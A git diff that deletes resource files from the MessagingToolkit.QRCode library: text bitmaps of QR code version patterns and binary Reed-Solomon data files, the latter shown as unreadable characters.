-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -010101100000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -000000001000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -111111100000000000000000000010101000000000000000000000001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -100000100000000000000000000010001000000000000000000000001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -101110100000000000000000000011111000000000000000000000001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr5.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr5.dat deleted file mode 100644 index 8f2898d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr5.dat +++ /dev/null @@ -1,37 +0,0 @@ -1111111000000000000000000000001111111 -1000001000000000000000000000001000001 -1011101000000000000000000000001011101 -1011101000000000000000000000001011101 -1011101000000000000000000000001011101 -1000001000000000000000000000001000001 -1111111010101010101010101010101111111 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000000000000 -0000000000000000000000000000000000000 -0000001000000000000000000000111110000 -0000000010000000000000000000100010000 -1111111000000000000000000000101010000 -1000001000000000000000000000100010000 -1011101000000000000000000000111110000 -1011101000000000000000000000000000000 -1011101000000000000000000000000000000 -1000001000000000000000000000000000000 -1111111000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr6.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr6.dat deleted file mode 100644 index ab4aeb7..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr6.dat +++ /dev/null @@ -1,41 +0,0 @@ -11111110000000000000000000000000001111111 -10000010000000000000000000000000001000001 -10111010000000000000000000000000001011101 -10111010000000000000000000000000001011101 -10111010000000000000000000000000001011101 -10000010000000000000000000000000001000001 -11111110101010101010101010101010101111111 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000000000000 -00000000000000000000000000000000000000000 -00000010000000000000000000000000111110000 -00000000100000000000000000000000100010000 -11111110000000000000000000000000101010000 -10000010000000000000000000000000100010000 -10111010000000000000000000000000111110000 -10111010000000000000000000000000000000000 -10111010000000000000000000000000000000000 -10000010000000000000000000000000000000000 -11111110000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr7.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr7.dat deleted file mode 100644 index 4d6bebf..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr7.dat +++ /dev/null @@ -1,45 +0,0 @@ -111111100000000000000000000000000000101111111 -100000100000000000000000000000000001001000001 -101110100000000000000000000000000001001011101 -101110100000000000000000000000000001101011101 -101110100000000000001111100000000011101011101 -100000100000000000001000100000000000001000001 -111111101010101010101010101010101010101111111 -000000000000000000001000100000000000000000000 -000000100000000000001111100000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000011111000000000001111100000000000111110000 -000010001000000000001000100000000000100010000 -000010101000000000001010100000000000101010000 -000010001000000000001000100000000000100010000 -000011111000000000001111100000000000111110000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000 -000000000000000000000000000000000000000000000 -000010100000000000000000000000000000000000000 -011110000000000000000000000000000000000000000 -100110100000000000001111100000000000111110000 -000000001000000000001000100000000000100010000 -111111100000000000001010100000000000101010000 -100000100000000000001000100000000000100010000 -101110100000000000001111100000000000111110000 -101110100000000000000000000000000000000000000 -101110100000000000000000000000000000000000000 -100000100000000000000000000000000000000000000 -111111100000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr8.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr8.dat deleted file mode 100644 index ffe6d35..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr8.dat +++ /dev/null @@ -1,49 +0,0 @@ -1111111000000000000000000000000000000000101111111 -1000001000000000000000000000000000000011101000001 -1011101000000000000000000000000000000001101011101 -1011101000000000000000000000000000000001001011101 -1011101000000000000000111110000000000000001011101 -1000001000000000000000100010000000000010001000001 -1111111010101010101010101010101010101010101111111 -0000000000000000000000100010000000000000000000000 -0000001000000000000000111110000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000111110000000000000111110000000000000111110000 -0000100010000000000000100010000000000000100010000 -0000101010000000000000101010000000000000101010000 -0000100010000000000000100010000000000000100010000 -0000111110000000000000111110000000000000111110000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000 -0100011000000000000000000000000000000000000000000 -0111000000000000000000000000000000000000000000000 -1110001000000000000000111110000000000000111110000 -0000000010000000000000100010000000000000100010000 -1111111000000000000000101010000000000000101010000 -1000001000000000000000100010000000000000100010000 -1011101000000000000000111110000000000000111110000 -1011101000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr9.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr9.dat deleted file mode 100644 index 5be7495..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr9.dat +++ /dev/null @@ -1,53 +0,0 @@ -11111110000000000000000000000000000000000010001111111 -10000010000000000000000000000000000000000011001000001 -10111010000000000000000000000000000000000001001011101 -10111010000000000000000000000000000000000010101011101 -10111010000000000000000011111000000000000010001011101 -10000010000000000000000010001000000000000010001000001 -11111110101010101010101010101010101010101010101111111 -00000000000000000000000010001000000000000000000000000 -00000010000000000000000011111000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000111110000 -00001000100000000000000010001000000000000000100010000 -00001010100000000000000010101000000000000000101010000 -00001000100000000000000010001000000000000000100010000 -00001111100000000000000011111000000000000000111110000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000 -11011110000000000000000000000000000000000000000000000 -01100000000000000000000000000000000000000000000000000 -00010010000000000000000011111000000000000000111110000 -00000000100000000000000010001000000000000000100010000 -11111110000000000000000010101000000000000000101010000 -10000010000000000000000010001000000000000000100010000 -10111010000000000000000011111000000000000000111110000 -10111010000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc10.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc10.dat deleted file mode 100644 index 0cd0d17..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc10.dat +++ /dev/null @@ -1,11 +0,0 @@ -Ÿo^_qŸo^_q#ޓ'u[Tᓺ^G/F;eaN#;>e;i2toJ}^_v¯FV0#ǯv|M0"(#<&qMveUOd *vOMBh;쉙C%~+2M%&`5'tkxПFCkQpn -`DPFxL03 C[W ]$ "{? U5PΡ@&:5P/fxeDj(eT2vsۦMe -a/JڧQpį)Vdmw>Б[EJLjN_&ӯ94.om#0q̾x;>)CTQtXK! yS`:' l`_OӁfA2O|.Bmc">)oH@,:'Hvn}dWVDI~!4սmkoj_i51F6􍇃_LtjUE+n ^ʈP?1 Iʨ!d)jZNwJ -g1Qsy0 —^ -P@` ˩S7qs.TCRc{?)' k%`G|q?ǁ*6[`wԜLRV&ϕ' Crh"\/$,6}-ͻ<ڱgFoyASۮ`"I CabS1v|{Rݴɘ#,G2+yp-/u& BYW@ȲbdtNi:7lGE(# ]-SLZ& -_s!Ynۂ68d$cDf;U"a\D|\g3bڅٽRqm̕O.CΫ6=}usdQAXitN,Bm*O? {Ȯ4=*r$۳8BIP3 I߈%h"g e.Mp9R] jK2bGl+hK\3r4фryƷfB8-$V6rHz GA@<] B|(a~bA7?5g hMBR*{gQ- u -$Դ[@Z+ݛb7K)N4iӴ'c=`@y9mRժ1(3<"5KbSե G}Ҕ(g]JOn8Y{7dW?Mc\:҉\n!*:Y,A0]6DْxUDf_4OB9c3!9$Vu=lpH]4v.9[(vDU8)|!WrאK9ofĩsgzQ H2 C<["3ԁ4c|B<ߡ7\цy@KlzG=XܛrY$ =Ȣ>7K˥byUc =XZ/k/AT~F -2AEs{i.4h{z1TiJo% 9H{p=$Sf;Œ xTI>JDsʱ+EWpI\rK.?',:p>a[c*?殅.8d=?K jXLĎVLltZw6iŖfqhOQ9&6:a-͵UsvڣsW̄{}5,&QEI pZHl88SE! @ux`P 3TΗXJ SVZz5FetHu%5/wJqj^u,V%}ͧ+=ɔ#Լ:ĿnYRY <0(,]h(uNjwz )fU3krڤSIb;mE˔ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc13.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc13.dat deleted file mode 100644 index 1381350..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc13.dat +++ /dev/null @@ -1,14 +0,0 @@ -I4 .+SxI4 .+Sx""h\V833\r}9DD4Q*pHUOU9pff.? w0w#Ѥu>;Ǩ9[f=I!Ib&.XXL [ViOk^k>pzz[D݅>ڸ4>xLKA]M𶆯ŲmZv -cq>!HRU=bS5 9tNV}_GA1ν My  "G88_XKv )m)tG3^]^gFgyOO*?>~A|"|vMErh7mmBçzBsL\EGgC$5=Ϙ J|B/¶1Ҟּ֣|A3[2 ǗR - &QTEr)1|mshxD`]a|55w/M$$zt SSyY/ϕAB3BMTK홚qqCye4`L`%NRO^C쟝I= -, 057|B2ԬSHl zGc1jr#3FX[jj^-{{pyU#HyH<ݕYY,ol1^i7Yƿu:O>ÄfϖǷ ו#/)"38ʦ`PVk- hJo:)~A8Bu#'#( -<&22{zX@`4j]tNgkngg>=Uvhv3цd-EE$ke@dVTT)@6vIƫbQ0+mwocFfUx >/u#źlW%8EVxaބq[S2aX_G-L.AshhΞ$)n:'yy+ðJJwrT<&a[x[CY^Jo,H,&+p==Sش7zWTVWࢦaP}1RHlJIԓT(ʼ7h]ڷә8$rKWLqǵFeRӴʪֆB!Fޙa[DjܲvBGX4QǸ!Ol {gNi }X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n~C-1JRReWd\:5U,@@7eQ#(U%f))zq2nl` v}cԼb; ,./s E3Q_9XÊDDT Tu ---kҾ.oVkbDtv$wK-EZl:LLdC+X5/&0%%D < %a''y|sJ« NN1":;Yri,攙K"ӗۦ~C,vE*tȆVi_{Aj##H6qj^1L`JJÓxkz|VHHU(J- \!!ެK7LK3B^=yĈyHչZ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc16.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc16.dat deleted file mode 100644 index e44c7a9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc16.dat +++ /dev/null @@ -1,17 +0,0 @@ -; hDA)b2$;; hDA)b2$;vg<[RdHvMn"{2VlM4 cx Ȑ9sIf(XVך.mD0dQؚ# Z8N߁3hg@q2U{7=e<^Hs|UryP*u[֨X.IQ)\O`+ȢE)QSthdj-w_F -(pf!_dKb˪x?d4dnzݦp@A% 5^x.!c2vߘQ{s9T}E{@l}#<'@ M\? 6 uw]6R.W VYGRi#j0h;ci$y1ԭZ$D9/k+P#4u%O[>B׾|gkrۮpȖ7I~ &󛬊ZW݌ j3>h?I3,z`<EQY J&jE~9Q! 2zX~߉C"r^7cV>NJ5@uv0)ʇlPkjLJi( *C;mMlV^&]HX_<;&ka3jrmWkPw%t3sP4߶)퓁"8K.3.byX$= yFXc)UIMݓy$cb7ܖ9$ FtC9W8VE-|F5 -5Cdk4\ن"qlBn 6TPg N\V_CVSQ8 Dχ/Vm;|L bd m Yy:K425l` 21UOтDkTi,D䷪Y3,+}Zޟ --'mΗO~ޓ4"߮1\mf7 |S+6[mFc9?[`ZͼX"[ `- z[- H=EdY'i*M)>z7'% ܴ;C90N LeqhU=H`L -qvfQn{zsllGӔa/_Ŕ(\rB*ΔfHbݛz rIOBМ K8HIXw=0 -_h?UrR쌞=,L?s\ip6~{Ba9Y'ĉio]|`yM"ORKd~qb -`oGؠ$I,ԡ(Jjq:AD|̷(e]oPYwTvښe^PQ^:G)%i>:Բ!H މL G9wxvLw `k1>^[Rw/ef ])s" 4?KA5Jf 栛8S'%›hqRx1yhSd]Si#)3!U1%-ׂTۖb:w"߻*e{UcS"z'.+ZPav>&s12S+>p#CI6b!7=yY#x=t&‹ƭ(\Kc?ѬUlS=XG0KpnWA}-z:upMRUTpY @:kW2u͏Zꏘ@4kCeTE{ܝ}tɜaÎ X}jY$^Fo 0G/ )%5N">f/(]i -gj\T/b? !GbY2?10YS5B.*Al[LҢpݍCn:N`ӭḰ߈|u ts[F^fuN-uL{ oBN:ac.87İk{=l -8\|;{Dp\gq[a1s{g*f\CAÃ*k] ̤Hz3i%o[EHV;Q(:]R;#AH _/v%+ -h*97n1,r&H@-5ultga"5x޾¹NÌ̄IxCBP/3){CkMj \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc17.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc17.dat deleted file mode 100644 index f44d14e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc17.dat +++ /dev/null @@ -1,18 +0,0 @@ -wBSxwS)U5}cOwBSxwS)U5}cO,Rjƞ:R{_QX3Qä"I!WN:n/ /t,3WXӤuXbaߊn4*矰fU D?Bh覣b|ǀ\ qqtU85Wo4W.mH^?^UX -fa&c)}b)؅T[,UU wq hN$> #TY#}Y+9w~T -Tk -҃lB#Q[y[G=є(UA.%pj凌[V3:[',% Ů h\ɐ);{{u=Jt~4̫ͪLAslĹn{i9Ei!Ez5>P{euق\JG9zǔQ)(öVкeheI}(KʧދxMM+bD:k'@麕zG.MqӫɿGn!Wx pJmeJQ-'.=/O=(O<0aI7/I$,WӍ!G*ޜR 'sF{Mcc }ͨV&s;r;o%",LK -LyK;eOGC@!:DlUN3ito9#Myky`6***UKebߛbŀCc N#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?8?hω&)-F|R|]Ie/DX/!&`9̪n[)LM0;(7 ]/DtDwbt-SC#d3E'3a'z41v^+kkƃA01M%c/Q%EPv9v2x -5p5pYT⚜sB#BV#};dϩk-yֶ0&oO/8ueÑi!t!H♃r erc=F}87uy"$mzmԌ>W,xGH9ܼ9#CAk=j~yjF<$!!+P2ڻV̎V̩kjhh|F -d_Jy(;yJ;o_Q< ΓRԗsݝj=;/PUPlڛ$g)'ș'zݞ0f=@M=v{ot7ɓniVn2.Z T@4Eg`d",:Gl~lAT2??hg+`p`Hz°i33ma-/Ӡ%{Э8vqu]u"3->1(-C1W쎉3+!Z|bPZbf&VBúԗyPĠALs2sr CJӑ4 iGp❅d=dOBI37+D7fx-*|ϲI%̹͡V_5 K}\5?\e5# +fG+swfZ^c] \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc18.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc18.dat deleted file mode 100644 index 1da90b2..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc18.dat +++ /dev/null @@ -1,19 +0,0 @@ -qIRK CْqIRK Cْs7CG@9,ēTd y`vn;{W9U1Crt0Q)p#zRX ;YŨɧK"Jjo.d5+ѯvӮrb"pfI!#r;)=a_v`MRE. F])<~"ש\}O@7vM4KS3Ŗ_'8Z%"psD>\[ݵjP{9 e=V C"AI:Dչ20+&KG̡aBFvERz¾z{θ8?Zg~Yˤ׊\UR";^ ]ʔN!5+*xD9OcН iHQof(ڐ$ }ny3h'f1{ٝ]И3߱%NkNp JGD0g8QceM{GK5|wC ?Dfd ܇4 % 2r={z[LYt@gJDzcWDkՒt"C(^T%od`VL'G6C4fdHMT7݅_9NJa&2.m9S| 'ڸW6m7qp~c2A̛.71`y\n)U ,8iShfXtHjI}Dv˼ E5Ba), jv)mU|* oVTӈr_{m!p|O?&>߽'Ґ P=H0FcG?REa~f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lD )?RlZN(׼}±'2=cVVd{A!Jxdهu//#LG+B"3:(r-K2{RݖbV8F?e4g ԌMW%9(qC0Jos3/b]]N`[5 ٭$$8;cb/n͹%ڒ@uji : .9)S\KKrՎowM啿াE!22{agyz&Z'@@u c~1C499.Lxn8K rcWkH6hy -'GsIOb$HA\aCoKx˞PggOK M -apPC8_$,+v2pllH=8[Y\U9ֶ퓍,XSUឞ|7U]q'No ZA $[ӶdiVyG|L9c/kވhvqq^e43heHL`pYe|+u!5V}*Hlt}0'#VGH'&KJg??*ЪIɔLoFF?=Yى|mi44k 6;9L{MMv|B9ۜAƄ*t0I.'W4>! 2/g>("") 0–G@PP`#aJFUW~Qy^HTۈO)6-']^lwwZu=L@TO15d;lEٞre 4J^ğXQYDv[z3Sg{T9j-ҡ<6+QVaX*||bj_CD'<;Bgv ,`TlOhǬ ETmϽ&`(?jjL-\Uv-J9@fsט]Nt-aa3|f=REzGKXy ^q隡Fg[2+>&d}}VE4Q$&08k̚'JU - ujꗰRcbn3}|.Ф~k[DŽp^FSh]i1}$e.ڃRvvKwk8DZ  -( Tv?\jDknY$4KmIˆ G5wz``@GԹpS_M峨Sۥ҉Y%kk0ep{Zwi%<2ʹ -^9yÉ)rK13ܷLj'xA[:wE,/ܶб\M^q!;@0*w LL6*ѸT0Fa 55&i";D=}EGGz˦+ ,ia>>[DMƩΘt -/X6-6xDOG9̈]sEIQQnwuaK ((02da ǜw/2 བྷDT) xg݃ځ&٨;E:tOўB$6:M+HZZlhU優GJ&]ώ## G:zU O!4BU|u%{GꏁrMv o`Hkp"*ךRl5o*?P%!ri\Bc%JBc8︄? ;CBTՉ..46J] KpmWW~md?ۏ*Fӱʌ -Z:,B|ų)@5I&AYe=M88K5i0j* ?1s+TAA~7=+z2|!I/<33"s.}4 c_JJ&R~!>Pieuɂ$˻8hMskg \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc22.dat b/output/Libraries/MessagingToolkit.QR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RQZ'6^([\Il㷵y }P~HatJ쥕ME}d FePBst)n!$ϖ&O -jD#hX[zЬʀ+ms dL펔m<C }WbTVpX{^A4<;IKZ\+g^&/Mυ~SC^i4yqm={_%G0`\) YO{TBsU" :RNq{~-r2N3 `jΛ!/Ԋ0zN:gf ^W|˪bwNv*,?Rp="!mv9Hg -]{mݠ&%$ڹ1S twm|dZ3G4j.?[(ψӲMP"L#'Bur͆;P+ftStH#R`/uZW-<{0T =538# 9fN>ғ7xa%W$ Oc|pq azP3T cp9XmI¶Cƿ2bEo IvwVҳUF`kg|1O\Gg+IoɌ6P; -=g"Tj,4T!f $s6|`]omqבLŭnu*9Oyidn-5=3^.Ȧߐ4+ <\D=M4b}:h'&9/j?keSUdopʍzQjolsSv)[I+xKodBq?A?n$:`VP%ovfc:7Kةu)ÀlNXʬq937حN0]@p)-F:nhpҚ~"tAG/UMm{͗? JF$hXC7PrJ|O^*Ȋ~@<ľ ]TCPldadԫR;~(K b_*Nc@( 62ӥ^oRjz \[c`*zvlZIeRT6\t"ʎ;o@a䀨ɩ>}۱6mFZM|I)Gf<,5t^O%ʙ]#rGKXnϺEbG X;_ZĽMыw_G^UrE:|%\}`2;DXbGY68'P}Ix>M<>O.5p Ce' Y[\HA3N %Zit*ݤ\p(z/1N ijKq;3ANla{Psw?ͤb!(kU -K距E.][ǡW$QXUi!T7k )ʠ2Sn) +/S֍0R]dgOR BHǃ1LGxɻRV^ϱ` -,Ξ*QЈ.$o'luE[.S8W=s'\5_VCYW/QŤq9WUHEeK(<BkYkr@TbE#-xeqWm9,7]w1DP' nG_.~UW0=;6[-BP֪ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc24.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc24.dat deleted file mode 100644 index e480c83..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc24.dat +++ /dev/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6 -(wA~"ޢ Ok,o -Ԡ \JeR!JIL) \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc26.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc26.dat deleted file mode 100644 index efafc0f..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc26.dat +++ /dev/null @@ -1,27 +0,0 @@ -3bǘM8(u*DFM+^3bǘM8(u*DFM+^fs ē-p0?PT=9VU THO(xn&~ʭ};Z)`~cɃ& zr)e QdxjICd;QwPA#L5GK"3oPH Vֲч 47vR>]ƏML -REf$U,mug^Ldvn(9ȭ ye_v,"qR%=3YO8(I70.M{=!Fj{z4v6t3qSI6/D8#fMWy<[un,پ#=M@hnu|庑64դ-$D +韲t@v߰pReG*qHeX>.΋>5B{Lȸs3K X~sk$YPr/Gcʵ29&T -2#\9}W5 ս*X?D7ͤJM zfpP#\]Z,5bUL*" Z[8n`\YzB]W-.1CΡd;]YBEφSjXhQ 